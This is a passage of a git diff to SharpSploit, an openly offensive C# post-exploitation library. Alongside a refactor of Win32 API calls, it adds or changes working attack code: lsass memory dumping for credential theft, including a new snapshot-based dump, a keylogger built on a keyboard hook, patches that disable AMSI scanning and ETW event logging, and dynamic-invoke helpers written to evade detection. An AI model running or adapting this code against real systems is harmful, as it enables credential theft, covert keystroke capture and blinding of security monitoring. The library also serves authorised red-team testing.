PInvoke.Win32.ActiveDs.Get((int)type, ref adname); return adname; } } @@ -1157,7 +1164,7 @@ public static List GetNetLocalGroups(IEnumerable ComputerNam int EntriesRead = 0; int TotalRead = 0; int ResumeHandle = 0; - int Result = Win32.Netapi32.NetLocalGroupEnum(ComputerName, QueryLevel, out PtrInfo, -1, out EntriesRead, out TotalRead, ref ResumeHandle); + int Result = PInvoke.Win32.Netapi32.NetLocalGroupEnum(ComputerName, QueryLevel, out PtrInfo, -1, out EntriesRead, out TotalRead, ref ResumeHandle); long Offset = PtrInfo.ToInt64(); if (Result == 0 && Offset > 0) { @@ -1177,7 +1184,7 @@ public static List GetNetLocalGroups(IEnumerable ComputerNam } ); } - Win32.Netapi32.NetApiBufferFree(PtrInfo); + PInvoke.Win32.Netapi32.NetApiBufferFree(PtrInfo); } else { @@ -1254,7 +1261,7 @@ public static List GetNetLocalGroupMembers(IEnumerable int EntriesRead = 0; int TotalRead = 0; int ResumeHandle = 0; - int Result = Win32.Netapi32.NetLocalGroupGetMembers(ComputerName, GroupName, QueryLevel, out PtrInfo, -1, out EntriesRead, out TotalRead, ref ResumeHandle); + int Result = PInvoke.Win32.Netapi32.NetLocalGroupGetMembers(ComputerName, GroupName, QueryLevel, out PtrInfo, -1, out EntriesRead, out TotalRead, ref ResumeHandle); long Offset = PtrInfo.ToInt64(); if (Result == 0 && Offset > 0) { @@ -1267,7 +1274,7 @@ public static List GetNetLocalGroupMembers(IEnumerable Offset += increment; IntPtr ptrSid; - bool Result2 = Win32.Advapi32.ConvertSidToStringSid(Info.lgrmi2_sid, out ptrSid); + bool Result2 = PInvoke.Win32.Advapi32.ConvertSidToStringSid(Info.lgrmi2_sid, out ptrSid); if (!Result2) { int LastError = Marshal.GetLastWin32Error(); @@ -1282,7 +1289,7 @@ public static List GetNetLocalGroupMembers(IEnumerable } finally { - Win32.Kernel32.LocalFree(ptrSid); + PInvoke.Win32.Kernel32.LocalFree(ptrSid); } groupMembers.Add( @@ -1298,7 +1305,7 @@ public static List GetNetLocalGroupMembers(IEnumerable ); } } - Win32.Netapi32.NetApiBufferFree(PtrInfo); + PInvoke.Win32.Netapi32.NetApiBufferFree(PtrInfo); Regex localUserRegex = new Regex(".*-500"); Regex localUserRegex2 = new Regex(".*-501"); @@ -1387,7 +1394,7 @@ public static List GetNetLoggedOnUsers(IEnumerable Compute int TotalRead = 0; int ResumeHandle = 0; - int Result = Win32.Netapi32.NetWkstaUserEnum(ComputerName, QueryLevel, out PtrInfo, -1, out EntriesRead, out TotalRead, ref ResumeHandle); + int Result = PInvoke.Win32.Netapi32.NetWkstaUserEnum(ComputerName, QueryLevel, out PtrInfo, -1, out EntriesRead, out TotalRead, ref ResumeHandle); long Offset = PtrInfo.ToInt64(); if (Result == 0 && Offset > 0) @@ -1411,7 +1418,7 @@ public static List GetNetLoggedOnUsers(IEnumerable Compute } ); } - Win32.Netapi32.NetApiBufferFree(PtrInfo); + PInvoke.Win32.Netapi32.NetApiBufferFree(PtrInfo); } else { @@ -1485,7 +1492,7 @@ public static List GetNetSessions(IEnumerable ComputerNames int TotalRead = 0; int ResumeHandle = 0; - int Result = Win32.Netapi32.NetSessionEnum(ComputerName, null, null, QueryLevel, out PtrInfo, -1, out EntriesRead, out TotalRead, ref ResumeHandle); + int Result = PInvoke.Win32.Netapi32.NetSessionEnum(ComputerName, null, null, QueryLevel, out PtrInfo, -1, out EntriesRead, out TotalRead, ref ResumeHandle); long Offset = PtrInfo.ToInt64(); if (Result == 0 && Offset > 0) { @@ -1507,7 +1514,7 @@ public static List GetNetSessions(IEnumerable ComputerNames } ); } - Win32.Netapi32.NetApiBufferFree(PtrInfo); + PInvoke.Win32.Netapi32.NetApiBufferFree(PtrInfo); } else { @@ -1581,7 +1588,7 @@ public static List GetNetShares(IEnumerable ComputerNames) int hResume = 0; int nStructSize = Marshal.SizeOf(typeof(Win32.Netapi32.SHARE_INFO_1)); IntPtr hBuf = IntPtr.Zero; - int result = Win32.Netapi32.NetShareEnum(new StringBuilder(ComputerName), 1, ref hBuf, MAX_PREFERRED_LENGTH, ref numread, ref total, ref hResume); + int result = PInvoke.Win32.Netapi32.NetShareEnum(new StringBuilder(ComputerName), 1, ref hBuf, MAX_PREFERRED_LENGTH, ref numread, ref total, ref hResume); if (result == NERR_Success) { IntPtr hCurrent = hBuf; @@ -1591,7 +1598,7 @@ public static List GetNetShares(IEnumerable ComputerNames) shares.Add(new ShareInfo(ComputerName, shi.shi1_netname, shi.shi1_remark, shi.shi1_type)); hCurrent = new IntPtr(hCurrent.ToInt64() + nStructSize); } - Win32.Netapi32.NetApiBufferFree(hBuf); + PInvoke.Win32.Netapi32.NetApiBufferFree(hBuf); } else { @@ -1601,4 +1608,4 @@ public static List GetNetShares(IEnumerable ComputerNames) return shares; } } -} \ No newline at end of file +} diff --git a/SharpSploit/Enumeration/Host.cs b/SharpSploit/Enumeration/Host.cs index a45f2e1..44ffc4e 100644 --- a/SharpSploit/Enumeration/Host.cs +++ b/SharpSploit/Enumeration/Host.cs @@ -11,8 +11,10 @@ using System.Security.AccessControl; using System.Runtime.InteropServices; +using SharpSploit.Misc; using SharpSploit.Generic; using SharpSploit.Execution; +using PInvoke = SharpSploit.Execution.PlatformInvoke; namespace SharpSploit.Enumeration { @@ -86,7 +88,7 @@ public static Win32.Kernel32.Platform GetArchitecture() const ushort PROCESSOR_ARCHITECTURE_AMD64 = 9; var sysInfo = new Win32.Kernel32.SYSTEM_INFO(); - Win32.Kernel32.GetNativeSystemInfo(ref sysInfo); + PInvoke.Win32.Kernel32.GetNativeSystemInfo(ref sysInfo); switch (sysInfo.wProcessorArchitecture) { @@ -131,8 +133,12 @@ public static int GetParentProcess(Process Process) /// Parent Process Id private static int GetParentProcess(IntPtr Handle) { - var basicProcessInformation = new Win32.NtDll.PROCESS_BASIC_INFORMATION(); - Win32.NtDll.NtQueryInformationProcess(Handle, Win32.NtDll.PROCESSINFOCLASS.ProcessBasicInformation, ref basicProcessInformation, Marshal.SizeOf(basicProcessInformation), out int returnLength); + var basicProcessInformation = new Native.PROCESS_BASIC_INFORMATION(); + IntPtr pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(basicProcessInformation)); + Marshal.StructureToPtr(basicProcessInformation, pProcInfo, true); + PInvoke.Native.NtQueryInformationProcess(Handle, Native.PROCESSINFOCLASS.ProcessBasicInformation, pProcInfo, Marshal.SizeOf(basicProcessInformation), out int returnLength); + basicProcessInformation = (Native.PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(Native.PROCESS_BASIC_INFORMATION)); + return basicProcessInformation.InheritedFromUniqueProcessId; } @@ -146,7 +152,7 @@ public static string GetProcessOwner(Process Process) { try { - Win32.Kernel32.OpenProcessToken(Process.Handle, 8, out IntPtr handle); + PInvoke.Win32.Kernel32.OpenProcessToken(Process.Handle, 8, out IntPtr handle); using (var winIdentity = new WindowsIdentity(handle)) { return winIdentity.Name; @@ -172,7 +178,7 @@ public static bool IsWow64(Process Process) { try { - Win32.Kernel32.IsWow64Process(Process.Handle, out bool isWow64); + PInvoke.Win32.Kernel32.IsWow64Process(Process.Handle, out bool isWow64); return isWow64; } catch (InvalidOperationException) @@ -191,13 +197,14 @@ public static bool IsWow64(Process Process) /// /// Process ID of the process to generate a minidump for. /// Path to write output file in. Defaults to the current directory. - /// Filename to ouput the minidump to. + /// Filename to output the minidump to. + /// True if minidump succeeds, false otherwise. /// /// Authored by Justin Bui (@youslydawg). /// - public static void CreateProcessDump(int processId, string outputPath = "", string outputFileName = "") + public static bool CreateProcessDump(int processId, string outputPath = "", string outputFileName = "") { - CreateProcessDump(Process.GetProcessById(processId), outputPath, outputFileName); + return CreateProcessDump(Process.GetProcessById(processId), outputPath, outputFileName); } /// @@ -207,10 +214,11 @@ public static void CreateProcessDump(int processId, string outputPath = "", stri /// Name of the process to generate a minidump for. /// Path to write output file in. Defaults to the current directory. /// Filename to ouput the minidump to. + /// True if minidump succeeds, false otherwise. /// /// Authored by Justin Bui (@youslydawg). /// - public static void CreateProcessDump(string processName = "lsass", string outputPath = "", string outputFileName = "") + public static bool CreateProcessDump(string processName = "lsass", string outputPath = "", string outputFileName = "") { if (processName.EndsWith(".exe")) { @@ -219,8 +227,9 @@ public static void CreateProcessDump(string processName = "lsass", string output Process[] process_list = Process.GetProcessesByName(processName); if (process_list.Length > 0) { - CreateProcessDump(process_list[0], outputPath, outputFileName); + return CreateProcessDump(process_list[0], outputPath, outputFileName); } + return false; } /// @@ -230,10 +239,11 @@ public static void CreateProcessDump(string processName = "lsass", string output /// Process to generate a minidump for. /// Path to write output file in. Defaults to the current directory. /// Filename to ouput the minidump to. + /// True if minidump succeeds, false otherwise. /// /// Authored by Justin Bui (@youslydawg). /// - public static void CreateProcessDump(Process process, string outputPath = "", string outputFileName = "") + public static bool CreateProcessDump(Process process, string outputPath = "", string outputFileName = "") { if (outputPath == "" || outputPath == null) { @@ -249,7 +259,7 @@ public static void CreateProcessDump(Process process, string outputPath = "", st bool success = false; try { - success = Execution.Win32.Dbghelp.MiniDumpWriteDump(process.Handle, (uint)process.Id, fileStream.SafeFileHandle, Execution.Win32.Dbghelp.MINIDUMP_TYPE.MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); + success = PInvoke.Win32.Dbghelp.MiniDumpWriteDump(process.Handle, (uint)process.Id, fileStream.SafeFileHandle, Execution.Win32.Dbghelp.MINIDUMP_TYPE.MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); } catch (System.ComponentModel.Win32Exception e) { @@ -261,6 +271,167 @@ public static void CreateProcessDump(Process process, string outputPath = "", st { File.Delete(fullPath); } + return success; + } + + /// + /// Auxiliary function for MiniDrumpWriteDump callbacks. + /// + /// + /// + /// + /// True if minidump succeeds, false otherwise. + /// + /// Authored by Simone Salucci (@saim1z) and Daniel López (@attl4s). + /// Code adapted from https://github.com/b4rtik/SharpMiniDump + /// and https://github.com/mjsabby/CopyOnWriteDump + /// + private static bool MiniDumpWriteDumpCallback(IntPtr CallbackParam, ref Execution.Win32.Dbghelp.MINIDUMP_CALLBACK_INPUT CallbackInput, ref Execution.Win32.Dbghelp.MINIDUMP_CALLBACK_OUTPUT CallbackOutput) + { + switch (CallbackInput.CallbackType) + { + case Execution.Win32.Dbghelp.MINIDUMP_CALLBACK_TYPE.IsProcessSnapshotCallback: + CallbackOutput.Status = 1; + break; + } + return true; + } + + /// + /// Creates a snapshot (PssCaptureSnapshot) of a process and dumps it (MiniDumpWriteDump). + /// Minimum supported Windows: Windows 8.1+ and Windows Server 2012+ + /// + /// Process ID of the process to generate a minidump for. + /// Path to write output file in. Defaults to the current directory. + /// Filename to ouput the minidump to. + /// True if snapshut dump succeeds, false otherwise. + /// + /// Authored by Simone Salucci (@saim1z) and Daniel López (@attl4s). + /// Code adapted from https://github.com/b4rtik/SharpMiniDump + /// and https://github.com/mjsabby/CopyOnWriteDump + /// + public static bool CreateProcessSnapshotDump(int processId, string outputPath = "", string outputFileName = "") + { + return CreateProcessSnapshotDump(Process.GetProcessById(processId), outputPath, outputFileName); + } + + /// + /// Creates a snapshot (PssCaptureSnapshot) of a process and dumps it (MiniDumpWriteDump). + /// Minimum supported Windows: Windows 8.1+ and Windows Server 2012+ + /// + /// Name of the process to generate a minidump for. + /// Path to write output file in. Defaults to the current directory. + /// Filename to ouput the minidump to. + /// True if snapshut dump succeeds, false otherwise. + /// + /// Authored by Simone Salucci (@saim1z) and Daniel López (@attl4s). + /// Code adapted from https://github.com/b4rtik/SharpMiniDump + /// and https://github.com/mjsabby/CopyOnWriteDump + /// + public static bool CreateProcessSnapshotDump(string processName = "lsass", string outputPath = "", string outputFileName = "") + { + if (processName.EndsWith(".exe")) + { + processName = processName.Substring(0, processName.Length - 4); + } + Process[] process_list = Process.GetProcessesByName(processName); + if (process_list.Length > 0) + { + return CreateProcessSnapshotDump(process_list[0], outputPath, outputFileName); + } + return false; + } + + /// + /// Creates a snapshot (PssCaptureSnapshot) of a process and dumps it (MiniDumpWriteDump). + /// Minimum supported Windows versions: Windows 8.1+ and Windows Server 2012+ + /// + /// Process to generate a minidump for. + /// Path to write output file in. Defaults to the current directory. + /// Filename to ouput the minidump to. + /// True if snapshut dump succeeds, false otherwise. + /// + /// Authored by Simone Salucci (@saim1z) and Daniel López (@attl4s). + /// Code adapted from https://github.com/b4rtik/SharpMiniDump + /// and https://github.com/mjsabby/CopyOnWriteDump + /// + public static bool CreateProcessSnapshotDump(Process process, string outputPath = "", string outputFileName = "") + { + if (outputPath == "" || outputPath == null) + { + outputPath = GetCurrentDirectory(); + } + if (outputFileName == "" || outputFileName == null) + { + outputFileName = process.ProcessName + "_" + process.Id + ".dmp"; + } + + string fullPath = Path.Combine(outputPath, outputFileName); + FileStream fileStream = new FileStream(fullPath, FileMode.Create); + + IntPtr snapshotHandle; + + Execution.Win32.Kernel32.PSS_CAPTURE_FLAGS flags = + Execution.Win32.Kernel32.PSS_CAPTURE_FLAGS.PSS_CAPTURE_VA_CLONE + | Execution.Win32.Kernel32.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLES + | Execution.Win32.Kernel32.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_NAME_INFORMATION + | Execution.Win32.Kernel32.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_BASIC_INFORMATION + | Execution.Win32.Kernel32.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION + | Execution.Win32.Kernel32.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_TRACE + | Execution.Win32.Kernel32.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREADS + | Execution.Win32.Kernel32.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREAD_CONTEXT + | Execution.Win32.Kernel32.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREAD_CONTEXT_EXTENDED + | Execution.Win32.Kernel32.PSS_CAPTURE_FLAGS.PSS_CREATE_BREAKAWAY + | Execution.Win32.Kernel32.PSS_CAPTURE_FLAGS.PSS_CREATE_BREAKAWAY_OPTIONAL + | Execution.Win32.Kernel32.PSS_CAPTURE_FLAGS.PSS_CREATE_USE_VM_ALLOCATIONS + | Execution.Win32.Kernel32.PSS_CAPTURE_FLAGS.PSS_CREATE_RELEASE_SECTION; + + snapshotHandle = IntPtr.Zero; + + try + { + Int32 hr = PInvoke.Win32.Kernel32.PssCaptureSnapshot(process.Handle, flags, IntPtr.Size == 8 ? 0x0010001F : 0x0001003F, out snapshotHandle); + } + catch (EntryPointNotFoundException e) + { + Console.Error.WriteLine(e.Message); + return false; + } + + Execution.Win32.Dbghelp.MINIDUMP_CALLBACK_INFORMATION CallbackInfo = new Execution.Win32.Dbghelp.MINIDUMP_CALLBACK_INFORMATION(); + CallbackInfo.CallbackRoutine = Host.MiniDumpWriteDumpCallback; + CallbackInfo.CallbackParam = IntPtr.Zero; + + IntPtr pCallbackInfo = Marshal.AllocHGlobal(Marshal.SizeOf(CallbackInfo)); + Marshal.StructureToPtr(CallbackInfo, pCallbackInfo, false); + + bool success = false; + try + { + success = PInvoke.Win32.Dbghelp.MiniDumpWriteDump(snapshotHandle, (uint)process.Id, fileStream.SafeFileHandle, Execution.Win32.Dbghelp.MINIDUMP_TYPE.MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, pCallbackInfo); + } + catch (System.ComponentModel.Win32Exception e) + { + Console.Error.WriteLine(e.Message); + } + + fileStream.Close(); + if (!success) + { + File.Delete(fullPath); + } + + IntPtr vaCloneHandle; + PInvoke.Win32.Kernel32.PssQuerySnapshot(snapshotHandle, Execution.Win32.Kernel32.PSS_QUERY_INFORMATION_CLASS.PSS_QUERY_VA_CLONE_INFORMATION, out vaCloneHandle, IntPtr.Size); + + int cloneProcessId = PInvoke.Win32.Kernel32.GetProcessId(vaCloneHandle); + + PInvoke.Win32.Kernel32.PssFreeSnapshot(Process.GetCurrentProcess().Handle, snapshotHandle); + PInvoke.Win32.Kernel32.CloseHandle(vaCloneHandle); + + Marshal.FreeHGlobal(pCallbackInfo); + GC.KeepAlive(CallbackInfo); + return success; } /// @@ -381,6 +552,34 @@ public static void ChangeCurrentDirectory(string DirectoryName) Directory.SetCurrentDirectory(DirectoryName); } + /// + /// Gets information about current drives. + /// + /// SharpSploitResultList of DriveInfoResults + public static SharpSploitResultList GetDrives() + { + SharpSploitResultList results = new SharpSploitResultList(); + DriveInfo[] drives = DriveInfo.GetDrives(); + + foreach (DriveInfo drive in drives) + { + DriveInfoResult info = new DriveInfoResult + { + Name = drive.Name, + Type = drive.DriveType + }; + if (drive.IsReady) + { + info.Label = drive.VolumeLabel; + info.Format = drive.DriveFormat; + info.Capacity = Utilities.ConvertFileLengthForDisplay(drive.TotalSize); + info.FreeSpace = Utilities.ConvertFileLengthForDisplay(drive.AvailableFreeSpace); + } + results.Add(info); + } + return results; + } + /// /// ProcessResult represents a running process, used with the GetProcessList() function. /// @@ -482,5 +681,34 @@ protected internal override IList ResultProperties } } } + + /// + /// DriveInfoResult represents information about a drive. + /// + public sealed class DriveInfoResult : SharpSploitResult + { + public string Name { get; set; } = ""; + public DriveType Type { get; set; } = DriveType.Unknown; + public string Label { get; set; } = ""; + public string Format { get; set; } = ""; + public string Capacity { get; set; } = ""; + public string FreeSpace { get; set; } = ""; + + protected internal override IList ResultProperties + { + get + { + return new List + { + new SharpSploitResultProperty { Name = "Name", Value = Name }, + new SharpSploitResultProperty { Name = "Type", Value = Type }, + new SharpSploitResultProperty { Name = "Label", Value = Label }, + new SharpSploitResultProperty { Name = "Format", Value = Format }, + new SharpSploitResultProperty { Name = "Capacity", Value = Capacity }, + new SharpSploitResultProperty { Name = "FreeSpace", Value = FreeSpace } + }; + } + } + } } } \ No newline at end of file diff --git a/SharpSploit/Enumeration/Keylogger.cs b/SharpSploit/Enumeration/Keylogger.cs index e702f4c..8464afb 100644 --- a/SharpSploit/Enumeration/Keylogger.cs +++ b/SharpSploit/Enumeration/Keylogger.cs @@ -11,6 +11,7 @@ using System.Runtime.InteropServices; using SharpSploit.Execution; +using PInvoke = SharpSploit.Execution.PlatformInvoke; namespace SharpSploit.Enumeration { @@ -19,6 +20,8 @@ namespace SharpSploit.Enumeration /// public class Keylogger { + private static Win32.User32.HookProc HookProc; + /// /// Starts the Keylogger /// @@ -32,50 +35,69 @@ public static string StartKeylogger(int Seconds) IntPtr HookID = IntPtr.Zero; string PreviousActiveWindow = ""; - Win32.User32.HookProc hookproc = (nCode, wParam, lParam) => + HookProc = (nCode, wParam, lParam) => { - var CurrentActiveWindow = GetActiveWindowTitle(); - if (CurrentActiveWindow != PreviousActiveWindow) - { - Builder.Append("\r\n"); - PreviousActiveWindow = CurrentActiveWindow; - Builder.Append("\r\n" + DateTime.Now + "\r\n" + CurrentActiveWindow + "\r\n--------------------------\r\n"); - } - if (nCode >= 0 && wParam == (IntPtr)Win32.User32.WM_KEYDOWN) + try { - int vkCode = Marshal.ReadInt32(lParam); - - bool shifted = Win32.User32.GetKeyState(160) < 0 || Win32.User32.GetKeyState(161) < 0; - Keys keycode = (Keys)vkCode; - if (!(shifted && KeyDictShift.TryGetValue(keycode, out string append)) && !KeyDict.TryGetValue(keycode, out append)) + var CurrentActiveWindow = GetActiveWindowTitle(); + if (CurrentActiveWindow != PreviousActiveWindow) + { + Builder.Append("\r\n"); + PreviousActiveWindow = CurrentActiveWindow; + Builder.Append("\r\n" + DateTime.Now + "\r\n" + CurrentActiveWindow + "\r\n--------------------------\r\n"); + } + if (nCode >= 0 && wParam == (IntPtr)Win32.User32.WM_KEYDOWN) { - bool capped = Win32.User32.GetKeyState(20) != 0; - if ((capped && shifted) || !(capped || shifted)) + KbDllHookStruct kbHookStruct = (KbDllHookStruct)Marshal.PtrToStructure(lParam, typeof(KbDllHookStruct)); + int vkCode = kbHookStruct.VirtualKeyCode; + bool shifted = PInvoke.Win32.User32.GetKeyState(160) < 0 || PInvoke.Win32.User32.GetKeyState(161) < 0; + Keys keycode = (Keys)vkCode; + if (!(shifted && KeyDictShift.TryGetValue(keycode, out string append)) && !KeyDict.TryGetValue(keycode, out append)) { - append = keycode.ToString().ToLower(); + bool capped = PInvoke.Win32.User32.GetKeyState(20) != 0; + if ((capped && shifted) || !(capped || shifted)) + { + append = keycode.ToString().ToLower(); + } + else + { + append = keycode.ToString().ToUpper(); + } } - else + if (vkCode == 231) { - append = keycode.ToString().ToUpper(); + append = ((char)kbHookStruct.ScanCode).ToString(); } + Builder.Append(append); } - Builder.Append(append); } - return Win32.User32.CallNextHookEx(HookID, nCode, wParam, lParam); + catch (Exception e) + { + Console.Error.WriteLine("Keylogger Exception - " + e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace); + } + return PInvoke.Win32.User32.CallNextHookEx(HookID, nCode, wParam, lParam); }; - HookID = Win32.User32.SetWindowsHookEx(Win32.User32.WH_KEYBOARD_LL, hookproc, Win32.Kernel32.GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName), 0); - using (Timer timer = new Timer(Seconds * 1000)) + HookID = PInvoke.Win32.User32.SetWindowsHookEx(Win32.User32.WH_KEYBOARD_LL, HookProc, PInvoke.Win32.Kernel32.GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName), 0); + if (Seconds <= 0) { - timer.Elapsed += (source, e) => - { - Builder.AppendLine(String.Format("\r\n\r\nFinished Keylogger at {0:HH:mm:ss.fff}", DateTime.Now)); - Win32.User32.UnhookWindowsHookEx(HookID); - timer.Stop(); - Forms.Application.Exit(); - }; - timer.Start(); Forms.Application.Run(); - return Builder.ToString(); + return ""; + } + else + { + using (Timer timer = new Timer(Seconds * 1000)) + { + timer.Elapsed += (source, e) => + { + Builder.AppendLine(String.Format("\r\n\r\nFinished Keylogger at {0:HH:mm:ss.fff}", DateTime.Now)); + PInvoke.Win32.User32.UnhookWindowsHookEx(HookID); + timer.Stop(); + Forms.Application.Exit(); + }; + timer.Start(); + Forms.Application.Run(); + return Builder.ToString(); + } } } @@ -88,9 +110,9 @@ private static string GetActiveWindowTitle() { const int capacity = 256; StringBuilder builder = new StringBuilder(capacity); - IntPtr handle = Win32.User32.GetForegroundWindow(); + IntPtr handle = PInvoke.Win32.User32.GetForegroundWindow(); - if (Win32.User32.GetWindowText(handle, builder, capacity) > 0) + if (PInvoke.Win32.User32.GetWindowText(handle, builder, capacity) > 0) { return builder.ToString(); } @@ -382,5 +404,15 @@ private enum Keys Control = 131072, Alt = 262144 } + + [StructLayout(LayoutKind.Sequential)] + internal struct KbDllHookStruct + { + public int VirtualKeyCode; + public int ScanCode; + public int Flags; + public int Time; + public int ExtraInfo; + } } } diff --git a/SharpSploit/Enumeration/Network.cs b/SharpSploit/Enumeration/Network.cs index 6251f76..d751c7d 100644 --- a/SharpSploit/Enumeration/Network.cs +++ b/SharpSploit/Enumeration/Network.cs @@ -9,8 +9,8 @@ using System.Net.NetworkInformation; using System.Collections.Generic; -using SharpSploit.Generic; using SharpSploit.Misc; +using SharpSploit.Generic; namespace SharpSploit.Enumeration { diff --git a/SharpSploit/Evasion/Amsi.cs b/SharpSploit/Evasion/Amsi.cs index eca82b1..51c9275 100644 --- a/SharpSploit/Evasion/Amsi.cs +++ b/SharpSploit/Evasion/Amsi.cs @@ -6,7 +6,7 @@ using System.Runtime.InteropServices; using SharpSploit.Misc; -using SharpSploit.Execution; +using PInvoke = SharpSploit.Execution.PlatformInvoke; namespace SharpSploit.Evasion { @@ -51,12 +51,12 @@ public static bool PatchAmsiScanBuffer() try { - var library = Win32.Kernel32.LoadLibrary("amsi.dll"); - var address = Win32.Kernel32.GetProcAddress(library, "AmsiScanBuffer"); + var library = PInvoke.Win32.Kernel32.LoadLibrary("amsi.dll"); + var address = PInvoke.Win32.Kernel32.GetProcAddress(library, "AmsiScanBuffer"); uint oldProtect; - Win32.Kernel32.VirtualProtect(address, (UIntPtr)patch.Length, 0x40, out oldProtect); + PInvoke.Win32.Kernel32.VirtualProtect(address, (UIntPtr)patch.Length, 0x40, out oldProtect); Marshal.Copy(patch, 0, address, patch.Length); - Win32.Kernel32.VirtualProtect(address, (UIntPtr)patch.Length, oldProtect, out oldProtect); + PInvoke.Win32.Kernel32.VirtualProtect(address, (UIntPtr)patch.Length, oldProtect, out oldProtect); return true; } catch (Exception e) diff --git a/SharpSploit/Evasion/ETW.cs b/SharpSploit/Evasion/ETW.cs new file mode 100644 index 0000000..2e340c6 --- /dev/null +++ b/SharpSploit/Evasion/ETW.cs @@ -0,0 +1,58 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: SharpSploit (https://github.com/cobbr/SharpSploit) +// License: BSD 3-Clause + +using System; +using System.Runtime.InteropServices; +using SharpSploit.Misc; +using PInvoke = SharpSploit.Execution.PlatformInvoke; + +namespace SharpSploit.Evasion +{ + + /// + /// ETW is a class for manipulating Event Tracing for Windows (ETW). + /// + public class ETW + { + /// + /// Patch the EtwEventWrite function in ntdll.dll. + /// + /// Simone Salucci & Daniel López @ NCC Group + /// Bool. True if succeeded, otherwise false. + /// + /// Code has been adapted from Adam Chester (https://blog.xpnsec.com/hiding-your-dotnet-etw/) and Mythic Atlas (https://github.com/its-a-feature/Mythic/tree/master/Payload_Types/atlas). + /// + public static bool PatchETWEventWrite() + { + byte[] patch; + if (Utilities.Is64Bit) + { + patch = new byte[2]; + patch[0] = 0xc3; + patch[1] = 0x00; + } + else + { + patch = new byte[3]; + patch[0] = 0xc2; + patch[1] = 0x14; + patch[2] = 0x00; + } + + try + { + var library = PInvoke.Win32.Kernel32.LoadLibrary("ntdll.dll"); + var address = PInvoke.Win32.Kernel32.GetProcAddress(library, "EtwEventWrite"); + PInvoke.Win32.Kernel32.VirtualProtect(address, (UIntPtr)patch.Length, 0x40, out uint oldProtect); + Marshal.Copy(patch, 0, address, patch.Length); + PInvoke.Win32.Kernel32.VirtualProtect(address, (UIntPtr)patch.Length, oldProtect, out oldProtect); + return true; + } + catch + { + return false; + } + } + } +} diff --git a/SharpSploit/Execution/DynamicInvoke/Generic.cs b/SharpSploit/Execution/DynamicInvoke/Generic.cs index 015ed62..c4e2afa 100644 --- a/SharpSploit/Execution/DynamicInvoke/Generic.cs +++ b/SharpSploit/Execution/DynamicInvoke/Generic.cs @@ -4,13 +4,19 @@ using System; using System.IO; +using System.Text; using System.Diagnostics; +using System.Collections.Generic; +using System.Security.Cryptography; using System.Runtime.InteropServices; +using SharpSploit.Execution.ManualMap; + +using Execute = SharpSploit.Execution; namespace SharpSploit.Execution.DynamicInvoke { /// - /// Generic is class for dynamically invoking arbitrary API calls from memory or disk. DynamicInvoke avoids suspicious + /// Generic is a class for dynamically invoking arbitrary API calls from memory or disk. DynamicInvoke avoids suspicious /// P/Invoke signatures, imports, and IAT entries by loading modules and invoking their functions at runtime. /// public class Generic @@ -52,12 +58,12 @@ public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type Function /// IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully. public static IntPtr LoadModuleFromDisk(string DLLPath) { - Execution.Win32.NtDll.UNICODE_STRING uModuleName = new Execution.Win32.NtDll.UNICODE_STRING(); + Execute.Native.UNICODE_STRING uModuleName = new Execute.Native.UNICODE_STRING(); Native.RtlInitUnicodeString(ref uModuleName, DLLPath); IntPtr hModule = IntPtr.Zero; - Execution.Win32.NtDll.NTSTATUS CallResult = Native.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule); - if (CallResult != Execution.Win32.NtDll.NTSTATUS.Success || hModule == IntPtr.Zero) + Execute.Native.NTSTATUS CallResult = Native.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule); + if (CallResult != Execute.Native.NTSTATUS.Success || hModule == IntPtr.Zero) { return IntPtr.Zero; } @@ -93,7 +99,64 @@ public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool } /// - /// Helper for getting the base address of a module loaded by the current process. This base address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for manual export parsing. + /// Helper for getting the pointer to a function from a DLL loaded by the process. + /// + /// Ruben Boonen (@FuzzySec) + /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). + /// Ordinal of the exported procedure. + /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. + /// IntPtr for the desired function. + public static IntPtr GetLibraryAddress(string DLLName, short Ordinal, bool CanLoadFromDisk = false) + { + IntPtr hModule = GetLoadedModuleAddress(DLLName); + if (hModule == IntPtr.Zero && CanLoadFromDisk) + { + hModule = LoadModuleFromDisk(DLLName); + if (hModule == IntPtr.Zero) + { + throw new FileNotFoundException(DLLName + ", unable to find the specified file."); + } + } + else if (hModule == IntPtr.Zero) + { + throw new DllNotFoundException(DLLName + ", Dll was not found."); + } + + return GetExportAddress(hModule, Ordinal); + } + + /// + /// Helper for getting the pointer to a function from a DLL loaded by the process. + /// + /// Ruben Boonen (@FuzzySec) + /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). + /// Hash of the exported procedure. + /// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788). + /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. + /// IntPtr for the desired function. + public static IntPtr GetLibraryAddress(string DLLName, string FunctionHash, long Key, bool CanLoadFromDisk = false) + { + IntPtr hModule = GetLoadedModuleAddress(DLLName); + if (hModule == IntPtr.Zero && CanLoadFromDisk) + { + hModule = LoadModuleFromDisk(DLLName); + if (hModule == IntPtr.Zero) + { + throw new FileNotFoundException(DLLName + ", unable to find the specified file."); + 